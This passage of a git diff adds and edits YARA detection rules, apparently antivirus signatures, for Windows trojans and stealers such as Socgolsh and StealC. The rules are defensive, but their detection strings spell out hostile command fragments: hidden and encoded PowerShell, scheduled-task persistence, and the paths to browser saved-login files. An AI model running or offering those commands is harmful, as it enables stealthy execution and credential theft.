00 24 00 28 00 24 00 5f 00 20 00 2a 00 20 00 33 00 29 00 2c 00 20 00 33 00 29 00 20 00 2d 00 20 00 [0-06] 29 00 7d 00 29 00 [0-d0] 2e 00 6c 00 6f 00 67 00 27 00 20 00 2d 00 72 00 61 00 77 00 29 00 } //10 + condition: + ((#a_02_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/Socgolsh/Trojan_Win32_Socgolsh_SCA.yar b/Trojan/Win32/Socgolsh/Trojan_Win32_Socgolsh_SCA.yar new file mode 100644 index 0000000000..1efbf3877e --- /dev/null +++ b/Trojan/Win32/Socgolsh/Trojan_Win32_Socgolsh_SCA.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_Socgolsh_SCA{ + meta: + description = "Trojan:Win32/Socgolsh.SCA,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_02_0 = {63 00 6d 00 64 00 [0-10] 2f 00 63 00 } //1 + $a_00_1 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_00_2 = {65 00 78 00 70 00 61 00 6e 00 64 00 2d 00 61 00 72 00 63 00 68 00 69 00 76 00 65 00 } //1 expand-archive + $a_00_3 = {2d 00 6c 00 69 00 74 00 65 00 72 00 61 00 6c 00 70 00 61 00 74 00 68 00 } //1 -literalpath + $a_00_4 = {2d 00 64 00 65 00 73 00 74 00 69 00 6e 00 61 00 74 00 69 00 6f 00 6e 00 70 00 61 00 74 00 68 00 } //1 -destinationpath + $a_00_5 = {70 00 79 00 74 00 68 00 6f 00 6e 00 } //1 python + condition: + ((#a_02_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win32/Socgolsh/Trojan_Win32_Socgolsh_SH.yar b/Trojan/Win32/Socgolsh/Trojan_Win32_Socgolsh_SH.yar index 027da9e25e..26ed73d6d3 100644 --- a/Trojan/Win32/Socgolsh/Trojan_Win32_Socgolsh_SH.yar +++ b/Trojan/Win32/Socgolsh/Trojan_Win32_Socgolsh_SH.yar @@ -11,9 +11,9 @@ rule Trojan_Win32_Socgolsh_SH{ $a_00_4 = {6e 00 65 00 74 00 20 00 75 00 73 00 65 00 } //1 net use $a_00_5 = {66 00 69 00 6e 00 64 00 73 00 74 00 72 00 } //1 findstr $a_00_6 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell - $a_00_7 = {24 00 65 00 6e 00 76 00 3a 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 5c 00 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 73 00 69 00 67 00 6e 00 61 00 74 00 75 00 72 00 65 00 73 00 } //-100 $env:appdata\microsoft\signatures + $a_00_7 = {6c 00 73 00 20 00 24 00 65 00 6e 00 76 00 3a 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 5c 00 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 73 00 69 00 67 00 6e 00 61 00 74 00 75 00 72 00 65 00 73 00 } //1 ls $env:appdata\microsoft\signatures $a_00_8 = {6d 00 61 00 78 00 75 00 73 00 65 00 72 00 70 00 6f 00 72 00 74 00 73 00 31 00 2e 00 6c 00 6f 00 67 00 } //-100 maxuserports1.log condition: - ((#a_02_0 & 1)*10+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*-100+(#a_00_8 & 1)*-100) >=11 + ((#a_02_0 & 1)*10+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*-100) >=11 } \ No newline at end of file diff --git a/Trojan/Win32/Socgolsh/Trojan_Win32_Socgolsh_SKA.yar b/Trojan/Win32/Socgolsh/Trojan_Win32_Socgolsh_SKA.yar new file mode 100644 index 0000000000..55012d4ed4 --- /dev/null +++ b/Trojan/Win32/Socgolsh/Trojan_Win32_Socgolsh_SKA.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Socgolsh_SKA{ + meta: + description = "Trojan:Win32/Socgolsh.SKA,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {2d 00 65 00 78 00 65 00 63 00 75 00 74 00 69 00 6f 00 6e 00 74 00 69 00 6d 00 65 00 6c 00 69 00 6d 00 69 00 74 00 20 00 27 00 30 00 30 00 3a 00 30 00 30 00 3a 00 30 00 30 00 27 00 } //1 -executiontimelimit '00:00:00' + $a_00_1 = {2d 00 64 00 6f 00 6e 00 74 00 73 00 74 00 6f 00 70 00 69 00 66 00 67 00 6f 00 69 00 6e 00 67 00 6f 00 6e 00 62 00 61 00 74 00 74 00 65 00 72 00 69 00 65 00 73 00 } //1 -dontstopifgoingonbatteries + $a_00_2 = {70 00 79 00 74 00 68 00 6f 00 6e 00 } //1 python + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Socgolsh/Trojan_Win32_Socgolsh_SL.yar b/Trojan/Win32/Socgolsh/Trojan_Win32_Socgolsh_SL.yar new file mode 100644 index 0000000000..7122d295fd --- /dev/null +++ b/Trojan/Win32/Socgolsh/Trojan_Win32_Socgolsh_SL.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_Socgolsh_SL{ + meta: + description = "Trojan:Win32/Socgolsh.SL,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_00_0 = {6e 00 65 00 77 00 2d 00 73 00 63 00 68 00 65 00 64 00 75 00 6c 00 65 00 64 00 74 00 61 00 73 00 6b 00 61 00 63 00 74 00 69 00 6f 00 6e 00 } //1 new-scheduledtaskaction + $a_00_1 = {5c 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 5c 00 6c 00 6f 00 63 00 61 00 6c 00 5c 00 63 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 65 00 64 00 64 00 65 00 76 00 69 00 63 00 65 00 73 00 70 00 6c 00 61 00 74 00 66 00 6f 00 72 00 6d 00 5c 00 67 00 65 00 74 00 2d 00 70 00 69 00 70 00 } //1 \appdata\local\connecteddevicesplatform\get-pip + $a_00_2 = {2d 00 65 00 78 00 65 00 63 00 75 00 74 00 65 00 20 00 27 00 70 00 79 00 74 00 68 00 6f 00 6e 00 77 00 2e 00 65 00 78 00 65 00 27 00 } //1 -execute 'pythonw.exe' + $a_00_3 = {72 00 65 00 67 00 69 00 73 00 74 00 65 00 72 00 2d 00 73 00 63 00 68 00 65 00 64 00 75 00 6c 00 65 00 64 00 74 00 61 00 73 00 6b 00 20 00 2d 00 74 00 61 00 73 00 6b 00 6e 00 61 00 6d 00 65 00 } //1 register-scheduledtask -taskname + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/Socgolsh/Trojan_Win32_Socgolsh_SM.yar b/Trojan/Win32/Socgolsh/Trojan_Win32_Socgolsh_SM.yar new file mode 100644 index 0000000000..f2c8dc4e67 --- /dev/null +++ b/Trojan/Win32/Socgolsh/Trojan_Win32_Socgolsh_SM.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_Socgolsh_SM{ + meta: + description = "Trojan:Win32/Socgolsh.SM,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 04 00 00 " + + strings : + $a_00_0 = {24 00 65 00 6e 00 76 00 3a 00 6c 00 6f 00 63 00 61 00 6c 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 5c 00 67 00 6f 00 6f 00 67 00 6c 00 65 00 5c 00 63 00 68 00 72 00 6f 00 6d 00 65 00 5c 00 75 00 73 00 65 00 72 00 20 00 64 00 61 00 74 00 61 00 5c 00 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 5c 00 6c 00 6f 00 67 00 69 00 6e 00 20 00 64 00 61 00 74 00 61 00 } //1 $env:localappdata\google\chrome\user data\default\login data + $a_00_1 = {24 00 65 00 6e 00 76 00 3a 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 5c 00 6d 00 6f 00 7a 00 69 00 6c 00 6c 00 61 00 5c 00 66 00 69 00 72 00 65 00 66 00 6f 00 78 00 5c 00 70 00 72 00 6f 00 66 00 69 00 6c 00 65 00 73 00 5c 00 2a 00 5c 00 6c 00 6f 00 67 00 69 00 6e 00 73 00 2e 00 6a 00 73 00 6f 00 6e 00 } //1 $env:appdata\mozilla\firefox\profiles\*\logins.json + $a_00_2 = {24 00 65 00 6e 00 76 00 3a 00 6c 00 6f 00 63 00 61 00 6c 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 5c 00 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 65 00 64 00 67 00 65 00 5c 00 75 00 73 00 65 00 72 00 20 00 64 00 61 00 74 00 61 00 5c 00 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 5c 00 6c 00 6f 00 67 00 69 00 6e 00 20 00 64 00 61 00 74 00 61 00 } //1 $env:localappdata\microsoft\edge\user data\default\login data + $a_02_3 = {61 00 70 00 70 00 64 00 61 00 74 00 61 00 5c 00 6c 00 6f 00 63 00 61 00 6c 00 5c 00 67 00 6f 00 6f 00 67 00 6c 00 65 00 5c 00 63 00 68 00 72 00 6f 00 6d 00 65 00 [0-10] 75 00 73 00 65 00 72 00 20 00 64 00 61 00 74 00 61 00 [0-10] 6c 00 6f 00 63 00 61 00 6c 00 20 00 73 00 74 00 61 00 74 00 65 00 } //1 + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_02_3 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/SpawnPSProcess/Trojan_Win32_SpawnPSProcess_SH.yar b/Trojan/Win32/SpawnPSProcess/Trojan_Win32_SpawnPSProcess_SH.yar new file mode 100644 index 0000000000..84832e0a3f --- /dev/null +++ b/Trojan/Win32/SpawnPSProcess/Trojan_Win32_SpawnPSProcess_SH.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win32_SpawnPSProcess_SH{ + meta: + description = "Trojan:Win32/SpawnPSProcess.SH,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 07 00 00 " + + strings : + $a_80_0 = {20 26 20 70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 20 2d 77 69 6e 64 6f 77 73 74 79 6c 65 20 68 69 64 64 65 6e } // & powershell.exe -windowstyle hidden 1 + $a_80_1 = {20 26 20 70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 20 2d 77 20 31 } // & powershell.exe -w 1 1 + $a_80_2 = {20 26 20 70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 20 2d 77 20 68 } // & powershell.exe -w h 1 + $a_80_3 = {20 26 20 70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 20 2d 6e 6f 70 20 2d 77 20 68 69 64 64 65 6e } // & powershell.exe -nop -w hidden 1 + $a_80_4 = {20 62 79 70 61 73 73 20 } // bypass 5 + $a_80_5 = {2d 63 6f 6d 6d 61 6e 64 20 67 65 74 2d 70 72 6f 63 65 73 73 } //-command get-process 5 + $a_81_6 = {2d 65 6e 63 6f 64 65 64 63 6f 6d 6d 61 6e 64 20 5a 77 42 6c 41 48 51 41 4c 51 42 77 41 48 49 41 62 77 42 6a 41 47 55 41 63 77 42 7a 41 41 3d 3d 20 26 } //10 -encodedcommand ZwBlAHQALQBwAHIAbwBjAGUAcwBzAA== & + condition: + ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*5+(#a_80_5 & 1)*5+(#a_81_6 & 1)*10) >=11 + +} \ No newline at end of file diff --git a/Trojan/Win32/Spy/Trojan_Win32_Spy_Casbaneiro_GA.yar b/Trojan/Win32/Spy/Trojan_Win32_Spy_Casbaneiro_GA.yar new file mode 100644 index 0000000000..b4e1658d04 --- /dev/null +++ b/Trojan/Win32/Spy/Trojan_Win32_Spy_Casbaneiro_GA.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Spy_Casbaneiro_GA{ + meta: + description = "Trojan:Win32/Spy.Casbaneiro.GA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_02_0 = {8b 45 0c 83 e8 02 74 21 2d 10 01 00 00 75 23 8b 45 14 50 8b 45 10 50 8b 45 0c 50 8b 45 08 50 ?? ?? ?? ?? ?? 89 45 fc eb 28 6a 00 ?? ?? ?? ?? ?? eb 1a 8b 45 14 50 8b 45 10 50 8b 45 0c 50 8b 45 08 50 ?? ?? ?? ?? ?? 89 45 fc eb 05 33 c0 89 45 fc } //1 + condition: + ((#a_02_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/SpyShiz/Trojan_Win32_SpyShiz_MX_MTB.yar b/Trojan/Win32/SpyShiz/Trojan_Win32_SpyShiz_MX_MTB.yar index ba6d7bf351..712e7baa2e 100644 --- a/Trojan/Win32/SpyShiz/Trojan_Win32_SpyShiz_MX_MTB.yar +++ b/Trojan/Win32/SpyShiz/Trojan_Win32_SpyShiz_MX_MTB.yar @@ -1,5 +1,17 @@ rule Trojan_Win32_SpyShiz_MX_MTB{ + meta: + description = "Trojan:Win32/SpyShiz.MX!MTB,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 00 " + + strings : + $a_01_0 = {63 3a 5c 6f 69 6c 5c 66 65 65 74 5c 53 65 76 65 6e 5c 53 65 6e 64 5c 47 61 74 68 65 72 5c 44 69 76 69 64 65 72 61 69 6c 2e 70 64 62 } //1 c:\oil\feet\Seven\Send\Gather\Dividerail.pdb + $a_01_1 = {6c 00 69 00 73 00 74 00 65 00 6e 00 20 00 61 00 62 00 6f 00 76 00 65 00 } //1 listen above + $a_01_2 = {66 00 61 00 6d 00 69 00 6c 00 79 00 63 00 6f 00 75 00 6c 00 64 00 20 00 63 00 6f 00 73 00 74 00 } //1 familycould cost + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 + +} +rule Trojan_Win32_SpyShiz_MX_MTB_2{ meta: description = "Trojan:Win32/SpyShiz.MX!MTB,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 00 " diff --git a/Trojan/Win32/SpyVoltar/Trojan_Win32_SpyVoltar_KAA_MTB.yar b/Trojan/Win32/SpyVoltar/Trojan_Win32_SpyVoltar_KAA_MTB.yar new file mode 100644 index 0000000000..745e019249 --- /dev/null +++ b/Trojan/Win32/SpyVoltar/Trojan_Win32_SpyVoltar_KAA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_SpyVoltar_KAA_MTB{ + meta: + description = "Trojan:Win32/SpyVoltar.KAA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {99 b9 e8 03 00 00 f7 f9 8b f2 81 c6 c8 } //2 + $a_01_1 = {99 b9 b0 04 00 00 f7 f9 83 c2 64 } //2 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/Stealc/Trojan_Win32_StealC_GI_MTB.yar b/Trojan/Win32/Stealc/Trojan_Win32_StealC_GI_MTB.yar index 8be995c28c..cee6811c8c 100644 --- a/Trojan/Win32/Stealc/Trojan_Win32_StealC_GI_MTB.yar +++ b/Trojan/Win32/Stealc/Trojan_Win32_StealC_GI_MTB.yar @@ -3,16 +3,6 @@ rule Trojan_Win32_StealC_GI_MTB{ meta: description = "Trojan:Win32/StealC.GI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " - strings : - $a_01_0 = {0f be 04 37 89 44 24 04 8b 44 24 08 31 44 24 04 8a 4c 24 04 88 0c 37 83 fb 0f 75 } //1 - condition: - ((#a_01_0 & 1)*1) >=1 - -} -rule Trojan_Win32_StealC_GI_MTB_2{ - meta: - description = "Trojan:Win32/StealC.GI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " - strings : $a_01_0 = {8b ce 80 fa 11 76 1d 0f b6 fa 83 ef 11 8d 4e 01 83 ff 04 0f 82 aa 00 00 00 8a 11 88 10 40 41 4f 75 } //1 condition: diff --git a/Trojan/Win32/Stealc/Trojan_Win32_StealC_GJ_MTB.yar b/Trojan/Win32/Stealc/Trojan_Win32_StealC_GJ_MTB.yar new file mode 100644 index 0000000000..524a96f779 --- /dev/null +++ b/Trojan/Win32/Stealc/Trojan_Win32_StealC_GJ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_StealC_GJ_MTB{ + meta: + description = "Trojan:Win32/StealC.GJ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {8b 45 0c 57 8d 14 06 e8 be ff ff ff 30 02 46 59 3b 75 10 72 eb } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Stealc/Trojan_Win32_StealC_GVD_MTB.yar b/Trojan/Win32/Stealc/Trojan_Win32_StealC_GVD_MTB.yar new file mode 100644 index 0000000000..ed0c011276 --- /dev/null +++ b/Trojan/Win32/Stealc/Trojan_Win32_StealC_GVD_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_StealC_GVD_MTB{ + meta: + description = "Trojan:Win32/StealC.GVD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_02_0 = {01 f1 81 e9 ?? ?? ?? ?? 31 01 59 52 } //2 + $a_01_1 = {01 d1 01 19 59 5a 83 ec 04 89 14 24 } //1 + condition: + ((#a_02_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Stealc/Trojan_Win32_StealC_LJV_MTB.yar b/Trojan/Win32/Stealc/Trojan_Win32_StealC_LJV_MTB.yar new file mode 100644 index 0000000000..7b26a99577 --- /dev/null +++ b/Trojan/Win32/Stealc/Trojan_Win32_StealC_LJV_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_StealC_LJV_MTB{ + meta: + description = "Trojan:Win32/StealC.LJV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {ff d6 8b f0 89 b4 24 a0 00 00 00 b2 78 c7 84 24 b0 00 00 00 78 19 1d 0b 33 c9 c7 84 24 b4 00 00 00 58 1d 0a 0a c7 84 24 b8 00 00 00 17 0a 42 58 c6 84 24 bc 00 00 00 00 8d 84 24 ?? ?? ?? ?? 30 14 08 41 83 f9 0b 73 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Stealc/Trojan_Win32_StealC_SCPC_MTB.yar b/Trojan/Win32/Stealc/Trojan_Win32_StealC_SCPC_MTB.yar new file mode 100644 index 0000000000..380561b73d --- /dev/null +++ b/Trojan/Win32/Stealc/Trojan_Win32_StealC_SCPC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_StealC_SCPC_MTB{ + meta: + description = "Trojan:Win32/StealC.SCPC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {20 20 20 00 20 20 20 20 00 90 0c 00 00 10 00 00 00 e0 04 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 14 03 00 00 00 a0 0c 00 00 02 00 00 00 f0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Stealc/Trojan_Win32_Stealc_AB_MTB.yar b/Trojan/Win32/Stealc/Trojan_Win32_Stealc_AB_MTB.yar new file mode 100644 index 0000000000..cc8f5de223 --- /dev/null +++ b/Trojan/Win32/Stealc/Trojan_Win32_Stealc_AB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Stealc_AB_MTB{ + meta: + description = "Trojan:Win32/Stealc.AB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {33 c9 ba 65 00 00 00 b8 6e 00 00 00 68 d0 63 51 00 66 89 0d e8 63 51 00 66 89 15 d2 63 51 00 66 a3 d6 63 51 00 ff 15 ?? ?? ?? ?? 68 b8 dd 43 00 50 c6 05 ba dd 43 00 72 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Stealer/Trojan_Win32_Stealer_DAD_MTB.yar b/Trojan/Win32/Stealer/Trojan_Win32_Stealer_DAD_MTB.yar new file mode 100644 index 0000000000..051403e886 --- /dev/null +++ b/Trojan/Win32/Stealer/Trojan_Win32_Stealer_DAD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Stealer_DAD_MTB{ + meta: + description = "Trojan:Win32/Stealer.DAD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {32 1c 16 30 cb 88 1c 16 42 39 94 24 ?? ?? ?? ?? 89 fb } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Stealer/Trojan_Win32_Stealer_DAE_MTB.yar b/Trojan/Win32/Stealer/Trojan_Win32_Stealer_DAE_MTB.yar new file mode 100644 index 0000000000..b0eda52d18 --- /dev/null +++ b/Trojan/Win32/Stealer/Trojan_Win32_Stealer_DAE_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Stealer_DAE_MTB{ + meta: + description = "Trojan:Win32/Stealer.DAE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {0f b6 44 0c 04 8d 14 80 8d 04 50 04 05 88 44 0c 04 41 81 f9 ?? ?? ?? ?? 74 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Stealer/Trojan_Win32_Stealer_DAF_MTB.yar b/Trojan/Win32/Stealer/Trojan_Win32_Stealer_DAF_MTB.yar new file mode 100644 index 0000000000..27a1a62647 --- /dev/null +++ b/Trojan/Win32/Stealer/Trojan_Win32_Stealer_DAF_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Stealer_DAF_MTB{ + meta: + description = "Trojan:Win32/Stealer.DAF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {8b 45 08 8b 4d 0c 03 08 89 4d f8 8b 45 08 8b 4d 0c 03 48 10 89 4d ec 8b 45 f8 3b 45 0c } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Stealer/Trojan_Win32_Stealer_DAG_MTB.yar b/Trojan/Win32/Stealer/Trojan_Win32_Stealer_DAG_MTB.yar new file mode 100644 index 0000000000..6fae821c97 --- /dev/null +++ b/Trojan/Win32/Stealer/Trojan_Win32_Stealer_DAG_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Stealer_DAG_MTB{ + meta: + description = "Trojan:Win32/Stealer.DAG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {8b 45 8c 01 d0 31 cb 89 da 88 10 83 85 ?? ?? ?? ?? ?? 8b 45 88 3b 85 ?? ?? ?? ?? 0f 8f } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Stealer/Trojan_Win32_Stealer_DAH_MTB.yar b/Trojan/Win32/Stealer/Trojan_Win32_Stealer_DAH_MTB.yar new file mode 100644 index 0000000000..eff1ea43cb --- /dev/null +++ b/Trojan/Win32/Stealer/Trojan_Win32_Stealer_DAH_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Stealer_DAH_MTB{ + meta: + description = "Trojan:Win32/Stealer.DAH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {41 8b 45 08 30 0c 03 43 3b 5d 0c 0f 82 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Stealer/Trojan_Win32_Stealer_DAI_MTB.yar b/Trojan/Win32/Stealer/Trojan_Win32_Stealer_DAI_MTB.yar new file mode 100644 index 0000000000..e2dd32a991 --- /dev/null +++ b/Trojan/Win32/Stealer/Trojan_Win32_Stealer_DAI_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Stealer_DAI_MTB{ + meta: + description = "Trojan:Win32/Stealer.DAI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {8b 4d 08 30 04 0f 47 3b 7d 0c 0f 82 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Stealer/Trojan_Win32_Stealer_DAJ_MTB.yar b/Trojan/Win32/Stealer/Trojan_Win32_Stealer_DAJ_MTB.yar new file mode 100644 index 0000000000..0c6355c662 --- /dev/null +++ b/Trojan/Win32/Stealer/Trojan_Win32_Stealer_DAJ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Stealer_DAJ_MTB{ + meta: + description = "Trojan:Win32/Stealer.DAJ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {8b 45 f0 30 0c 03 43 3b 5d fc 0f 82 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Stealer/Trojan_Win32_Stealer_DAK_MTB.yar b/Trojan/Win32/Stealer/Trojan_Win32_Stealer_DAK_MTB.yar new file mode 100644 index 0000000000..623a1b6c98 --- /dev/null +++ b/Trojan/Win32/Stealer/Trojan_Win32_Stealer_DAK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Stealer_DAK_MTB{ + meta: + description = "Trojan:Win32/Stealer.DAK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {8a c3 8d 0c 1a 2c ?? 30 41 0a 43 83 fb ?? 72 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Stealer/Trojan_Win32_Stealer_EABD_MTB.yar b/Trojan/Win32/Stealer/Trojan_Win32_Stealer_EABD_MTB.yar new file mode 100644 index 0000000000..a416e68f6b --- /dev/null +++ b/Trojan/Win32/Stealer/Trojan_Win32_Stealer_EABD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Stealer_EABD_MTB{ + meta: + description = "Trojan:Win32/Stealer.EABD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_02_0 = {03 c7 03 c8 81 e1 ff 00 00 00 8b f9 8a 97 ?? ?? ?? ?? 89 3d ?? ?? ?? ?? 88 96 ?? ?? ?? ?? 81 fe 39 0f 00 00 } //5 + condition: + ((#a_02_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Stealer/Trojan_Win32_Stealer_EAOZ_MTB.yar b/Trojan/Win32/Stealer/Trojan_Win32_Stealer_EAOZ_MTB.yar new file mode 100644 index 0000000000..b4eb32574e --- /dev/null +++ b/Trojan/Win32/Stealer/Trojan_Win32_Stealer_EAOZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Stealer_EAOZ_MTB{ + meta: + description = "Trojan:Win32/Stealer.EAOZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_02_0 = {03 c6 0f b6 d3 03 d0 81 e2 ff 00 00 00 8b f2 8a 86 ?? ?? ?? ?? 89 35 ?? ?? ?? ?? 88 81 ?? ?? ?? ?? 81 f9 39 0f 00 00 } //5 + condition: + ((#a_02_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Stealer/Trojan_Win32_Stealer_FZK_MTB.yar b/Trojan/Win32/Stealer/Trojan_Win32_Stealer_FZK_MTB.yar new file mode 100644 index 0000000000..ff12474c5f --- /dev/null +++ b/Trojan/Win32/Stealer/Trojan_Win32_Stealer_FZK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Stealer_FZK_MTB{ + meta: + description = "Trojan:Win32/Stealer.FZK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {8b 55 cc 8b 42 0c 8b 4d dc 8b 51 0c 8b 8d ?? ?? ?? ?? 8b b5 00 ff ff ff 8a 04 08 32 04 32 8b 4d cc 8b 51 0c 8b 8d f8 fe ff ff 88 04 0a c7 45 fc 